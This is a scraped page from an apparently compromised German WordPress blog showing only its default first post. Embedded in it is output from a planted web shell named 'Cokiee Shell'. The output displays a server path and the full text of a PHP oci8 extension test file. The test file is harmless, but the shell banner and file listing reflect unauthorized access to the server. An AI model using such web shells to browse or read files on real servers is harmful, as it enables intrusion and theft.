Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/oci8/tests/ |
Current File : //proc/self/root/usr/local/src/php72/php-7.2.12/php-7.2.12/ext/oci8/tests/prefetch_old.phpt |
--TEST-- ocisetprefetch() --SKIPIF-- <?php if (!extension_loaded('oci8')) die("skip no oci8 extension"); ?> --FILE-- <?php require(dirname(__FILE__)."/connect.inc"); $stmtarray = array( "drop table prefetch_old_tab", "create table prefetch_old_tab (id number, value number)", "insert into prefetch_old_tab (id, value) values (1,1)", "insert into prefetch_old_tab (id, value) values (1,1)", "insert into prefetch_old_tab (id, value) values (1,1)", ); oci8_test_sql_execute($c, $stmtarray); // Run Test if (!ocicommit($c)) { die("ocicommit() failed!\n"); } $select_sql = "select * from prefetch_old_tab"; if (!($s = ociparse($c, $select_sql))) { die("ociparse(select) failed!\n"); } var_dump(ocisetprefetch($s, 10)); if (!ociexecute($s)) { die("ociexecute(select) failed!\n"); } var_dump(ocifetch($s)); var_dump(ocirowcount($s)); // Cleanup $stmtarray = array( "drop table prefetch_old_tab" ); oci8_test_sql_execute($c, $stmtarray); echo "Done\n"; ?> --EXPECT-- bool(true) bool(true) int(1) Done
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare